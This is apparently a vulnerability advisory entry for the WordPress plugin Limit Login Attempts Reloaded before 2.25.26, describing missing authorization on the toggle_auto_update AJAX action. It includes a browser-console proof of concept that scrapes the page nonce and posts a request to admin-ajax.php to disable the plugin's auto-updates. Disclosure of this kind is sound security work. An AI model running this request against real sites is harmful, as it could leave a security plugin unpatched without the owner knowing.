WordPress Plugin Vulnerabilities
Limit Login Attempts Reloaded < 2.25.26 - Admin+ Missing Authorization to Toggle Plugin Auto-Update
Description
The plugin is missing authorization on the `toggle_auto_update` AJAX action, allowing any user with a valid nonce to toggle the auto-update status of the plugin.
Proof of Concept
As an Admin, open the Limit Login Attempts page in WP Admin and run the following code in the browser console: nonce = document.documentElement.innerHTML.match( /sec: '(\w+)'/ )[1]; await (await fetch("/wp-admin/admin-ajax.php", { "headers": { "content-type": "application/x-www-form-urlencoded; charset=UTF-8", }, "body": "action=toggle_auto_update&value=no&sec=" + nonce, "method": "POST", "mode": "cors", "credentials": "include" })).text(); Check and see that auto-updates have been disabled for the Limit Login Attempts plugin.
Affects Plugins
References
CVE
Classification
Type
NO AUTHORISATION
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Alex Sanford
Submitter
Alex Sanford
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-11-06 (about 7 months ago)
Added
2023-11-06 (about 7 months ago)
Last Updated
2023-11-06 (about 7 months ago)